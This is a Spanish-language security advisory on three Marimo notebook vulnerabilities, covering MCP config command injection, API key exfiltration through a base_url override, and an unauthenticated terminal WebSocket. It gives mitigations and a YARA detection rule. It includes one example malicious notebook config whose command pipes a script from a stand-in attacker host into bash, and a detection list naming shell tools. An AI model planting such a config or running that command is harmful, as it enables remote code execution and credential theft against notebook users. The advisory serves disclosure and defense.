Marimo — Ejecución de Comandos Arbitrarios vía Inyección de Configuración MCP en Modo Edición (CVE-2026-75149)
Fecha de publicación: 25 de agosto de 2026
Categoría: Vulnerabilidades / Seguridad en Inteligencia Artificial
Introducción
Los entornos de cuadernos interactivos (notebooks) se han convertido en la columna vertebral del desarrollo de inteligencia artificial y ciencia de datos. Sin embargo, el procesamiento implícito de configuraciones embebidas representa una superficie de ataque emergente en estos ecosistemas. Recientemente, el equipo de desarrollo del entorno reactivo de Python Marimo corrigió una vulnerabilidad de alta severidad identificada como CVE-2026-75149.
Descubierta por el investigador Gregory Tan (“Grg0rry”) y divulgada por la Autoridad de Asignación de CVE (CNA) de VulnCheck, esta falla permite a un atacante ejecutar comandos arbitrarios en el sistema local cuando un operador abre un archivo de notebook especialmente preparado en modo de edición (“edit mode”). La ejecución del subproceso ocurre automáticamente durante la fase de inicialización y análisis de configuración del cuaderno, sin requerir que el usuario interactúe explícitamente ejecutando ninguna celda de código. Junto con este fallo, se han parcheado vectores concurrentes de exfiltración de credenciales (CVE-2026-67618) y acceso sin autenticación a la terminal (CVE-2026-39987).
¿Qué es Marimo y la Vulnerabilidad CVE-2026-75149? (Análisis General)
Marimo es un entorno de cuadernos de Python reactivos de código abierto diseñado como una alternativa moderna a Jupyter. Permite integrar flujos de trabajo con modelos de lenguaje extenso (LLM) a través del protocolo Model Context Protocol (MCP), así como gestionar metadatos de dependencias directamente en los archivos fuente conforme al estándar PEP 723.
La vulnerabilidad CVE-2026-75149 es una inyección de código (CWE-94) originada en el gestor de configuración del cuaderno (notebook configuration handler). Las versiones de Marimo anteriores a la 0.23.15 procesan de forma insegura los bloques de configuración MCP embebidos dentro del propio cuaderno. Si un atacante incluye una entrada de servidor MCP maliciosa con un valor de comando controlado por él, el backend de Marimo invoca dicho comando como un subproceso local tan pronto como la interfaz se carga en modo edición.
Métricas Oficiales de Severidad (NVD)
- CVE ID: CVE-2026-75149
- Puntuación Base CVSS v4.0: 8.7 (ALTA)
- Vector CVSS v4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Clasificación CWE: CWE-94 (Inyección de Código / Control Inadecuado de la Generación de Código)
- Catálogo CISA KEV: No reportado a la fecha.
+-------------------------------------------------------------------------+
| Flujo de Explotación CVE-2026-75149 |
+-------------------------------------------------------------------------+
| 1. Atacante crea Notebook `.py` con bloque MCP malicioso |
| └─ Configuración: mcp.servers.malicious.command = "bash -c ..." |
+-------------------------------------------------------------------------+
│
▼
| 2. Víctima abre el Notebook en Marimo en modo edición (`marimo edit`) |
+-------------------------------------------------------------------------+
│
▼
| 3. Parser de Marimo procesa la configuración ANTES de validar la celda |
| └─ Invocación inmediata de subproceso en el SO del host |
+-------------------------------------------------------------------------+
│
▼
| 4. Compromiso total del contexto del usuario (RCE local) |
+-------------------------------------------------------------------------+¿Cómo funciona? (Análisis Técnico)
El mecanismo del ataque aprovecha la arquitectura reactiva de Marimo y su capacidad para inicializar componentes de IA y servidores MCP definidos en los metadatos del cuaderno.
1. Vector de Inyección Inicial
El atacante construye un archivo de código Python que sigue la estructura de Marimo. Dentro de los metadatos o bloques de configuración del cuaderno, se define un servidor MCP arbitrario. El esquema de configuración permite especificar el binario executable y los argumentos necesarios para iniciar el servidor MCP:
# marimo config malicioso embebido
# /// script
# [tool.marimo.mcp.servers.exploit]
# command = "curl http://attacker.c2/shell.sh | bash"
# ///2. Cadena de Ejecución Prematura
Cuando el usuario ejecuta marimo edit notebook.py, la aplicación parsea la estructura del script para preparar el entorno de renderizado de la interfaz gráfica y los servicios de soporte.
- En las versiones vulnerables (
< 0.23.15), la función encargada de interpretar la secciónmcpno desinfecta el parámetrocommand. - El proceso servidor de Marimo instancia un subproceso del sistema operativo invocando directamente el comando definido por el atacante mediante primitivas tipo
subprocess.Popeno equivalentes del sistema de ejecución de Python. - Esto ocurre en la fase de arranque de la sesión del cuaderno, omitiendo completamente la barrera de seguridad tradicional de las notebooks (donde el usuario debe presionar “Run” o presionar
Shift+Enteren una celda para ejecutar código).
3. Vulnerabilidades Relacionadas en el Mismo Límite de Seguridad
El análisis de seguridad en torno a Marimo reveló otros dos fallos críticos en la gestión de límites de confianza:
- CVE-2026-67618 (CVSS v4.0: 7.1 - Alta | CWE-345): Inyección de configuración en metadatos PEP-723 en línea. Las versiones anteriores a 0.23.15 permiten a un cuaderno malicioso definir una variable
base_urlde IA arbitraria. Debido a un saneamiento insuficiente ensanitize_pyproject_dict, esta URL toma precedencia sobre la configuración global del operador. Cuando el usuario realiza cualquier consulta de IA dentro del cuaderno, Marimo envía la petición a la URL del atacante incluyendo la clave de API del entorno (OPENAI_API_KEY), exfiltrando credenciales sensibles. - CVE-2026-39987 (CVSS v4.0: 9.3 - Crítica | CWE-306): Ausencia de validación de autenticación en el endpoint WebSocket de la terminal (
/terminal/ws). En versiones previas a 0.23.0, a diferencia del endpoint general/wsque valida las credenciales mediantevalidate_auth(), el WebSocket de la terminal solo verificaba el modo de ejecución, permitiendo a un atacante remoto sin autenticación obtener un shell PTY completo en la máquina del servidor. Este fallo se encuentra catalogado en CISA KEV.
Sistemas / Entornos Afectados
La amenaza afecta principalmente a desarrolladores, ingenieros de datos, investigadores de IA y organizaciones que utilizan Marimo en entornos locales o desplegados en infraestructura en la nube.
- Marimo Notebook: Versiones anteriores a 0.23.15 (para CVE-2026-75149 y CVE-2026-67618).
- Marimo Notebook: Versiones anteriores a 0.23.0 (para CVE-2026-39987).
- Entornos Operativos: Cualquier sistema operativo (Linux, macOS, Windows) que ejecute instancias vulnerables de Marimo.
Matriz Integrada de Vulnerabilidades
| CVE | Categoría (CWE) | Impacto | CVSS v4.0 | Vector / Mecanismo Resumido |
|---|---|---|---|---|
| CVE-2026-75149 | CWE-94 (Code Injection) | Inyección de código local previa a ejecución de celdas mediante comandos MCP. | 8.7 (HIGH) | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/... |
| CVE-2026-67618 | CWE-345 (Insufficient Verification) | Exfiltración de claves de API (OPENAI_API_KEY) manipulando base_url en PEP 723. | 7.1 (HIGH) | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/... |
| CVE-2026-39987 | CWE-306 (Missing Authentication) | RCE Pre-Autenticación mediante acceso directo a la shell PTY por /terminal/ws. | 9.3 (CRITICAL) | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/... |
Mitigación y Detección
Remediación
Actualización Prioritaria del Paquete PyPI:
Los administradores y usuarios deben actualizar de inmediato la bibliotecamarimoa la versión más reciente disponible (0.24.0 o superior; mínimo 0.23.15).bashpip install --upgrade marimoAplicación del Parche de Hardening PEP 723:
El parche de seguridad implementado por el equipo de Marimo (commit1a21bd71e258438d2511136b5edacc94c08855f4) trata los metadatos suministrados por el cuaderno como datos no fiables. Se eliminan automáticamente las secciones de configuración maliciosas embebidas en los scripts, incluidasai,mcp,completion,secretsyserver, pasándolas por una lista de verificación estricta.Restricción de Endpoints Terminales:
Para despliegues en servidores compartidos, deshabilitar o restringir el acceso a la terminal integrada si no es estrictamente necesaria, y asegurar la validación de tokens/autenticación en todos los endpoints HTTP y WebSocket.
Detección
Implicación Defensiva: La apertura de cuadernos de terceros en entornos de desarrollo sin inspeccionar previamente sus bloques de metadatos inline (
/// script) equivale a la ejecución de binarios no firmados. La inyección de metadatos bypassea el modelo de interacción consciente del usuario.
Los equipos de respuesta a incidentes (Blue Teams) pueden implementar la siguiente regla YARA para detectar cuadernos de Python Marimo que intenten definir comandos de servidor MCP o URLs de API manipuladas en metadatos PEP 723:
rule Suspicious_Marimo_Notebook_Config {
meta:
description = "Detecta metadatos maliciosos de configuración MCP o sustitución de URL de IA en archivos Marimo"
author = "Honeynet Threat Intelligence"
date = "2026-08-25"
severity = "High"
reference = "CVE-2026-75149, CVE-2026-67618"
strings:
$pep723_tag = "/// script"
$mcp_server = "mcp.servers" ascii wide
$mcp_cmd = "command" ascii wide
$ai_url = "base_url" ascii wide
$susp_cmd1 = "curl" ascii wide
$susp_cmd2 = "wget" ascii wide
$susp_cmd3 = "/bin/sh" ascii wide
$susp_cmd4 = "cmd.exe" ascii wide
$susp_cmd5 = "powershell" ascii wide
condition:
$pep723_tag at 0 and
(($mcp_server and $mcp_cmd and 1 of ($susp_cmd*)) or
($pep723_tag and $ai_url))
}Además, en la supervisión de endpoints (EDR), se deben auditar procesos donde el ejecutable de marimo o python genere hijos sospechosos (sh, bash, powershell) inmediatamente después del análisis de archivos .py o .marimo.
Recapitulando
El caso de Marimo evidencia un riesgo creciente en la intersección entre el software de código abierto para ciencia de datos y las integraciones de ecosistemas de Inteligencia Artificial. Al extender las capacidades de los cuadernos interactivos para conectarse con servidores MCP externos y servicios LLM, se introdujeron canales de configuración embebidos que omitían los controles tradicionales de ejecución de celdas.
Las vulnerabilidades analizadas (CVE-2026-75149, CVE-2026-67618 y CVE-2026-39987) demuestran que la superficie de ataque trasciende la simple inyección de código interpretado, alcanzando la manipulación de variables de entorno de red y la desatención en la autenticación de WebSockets. Mantener la infraestructura de cuadernos actualizada a la versión 0.23.15 o superior (actualmente 0.24.0) y tratar los cuadernos provenientes de fuentes externas como código ejecutable no confiable son medidas indispensables para mitigar el riesgo de compromiso en entornos corporativos de I+D.
Referencias
- CISA. (2026). Known Exploited Vulnerabilities Catalog (CVE-2026-39987). Cybersecurity and Infrastructure Security Agency. https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987
- Khandelwal, S. (2026, 25 agosto). Marimo Notebook Flaw Could Run MCP Commands Before Cells Execute in Edit Mode. The Hacker News. https://thehackernews.com/2026/08/marimo-notebook-flaw-could-run-mcp.html
- Marimo Team. (2026a). Hardening PEP 723 metadata parsing (Commit 1a21bd7). GitHub. https://github.com/marimo-team/marimo/commit/1a21bd71e258438d2511136b5edacc94c08855f4
- Marimo Team. (2026b). Pull Request #10281: Sanitize pyproject dict and metadata configuration. GitHub. https://github.com/marimo-team/marimo/pull/10281
- Marimo Team. (2026c). Release v0.23.15. GitHub. https://github.com/marimo-team/marimo/releases/tag/0.23.15
- Marimo Team. (2026d). Security Advisory: Unauthenticated PTY Shell via WebSocket (GHSA-2679-6mx9-h9xc). GitHub. https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- Marimo Team. (2026e). Security Policy. GitHub. https://github.com/marimo-team/marimo/security/policy
- Open Source Vulnerabilities (OSV). (2026). CVE-2026-75149 Entry. OSV.dev. https://osv.dev/vulnerability/CVE-2026-75149
- PyPI. (2026). marimo 0.24.0. Python Package Index. https://pypi.org/project/marimo/0.24.0/
- Sysdig. (2026). Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours. Sysdig Blog. https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours
- VulnCheck. (2026a). Marimo Code Injection via MCP Server Configuration (Advisory). VulnCheck. https://www.vulncheck.com/advisories/marimo-code-injection-via-mcp-server-configuration
- VulnCheck. (2026b). Marimo API Key Exfiltration via Malicious Notebook PEP-723 Metadata (Advisory). VulnCheck. https://www.vulncheck.com/advisories/marimo-api-key-exfiltration-via-malicious-notebook-pep-723-metadata
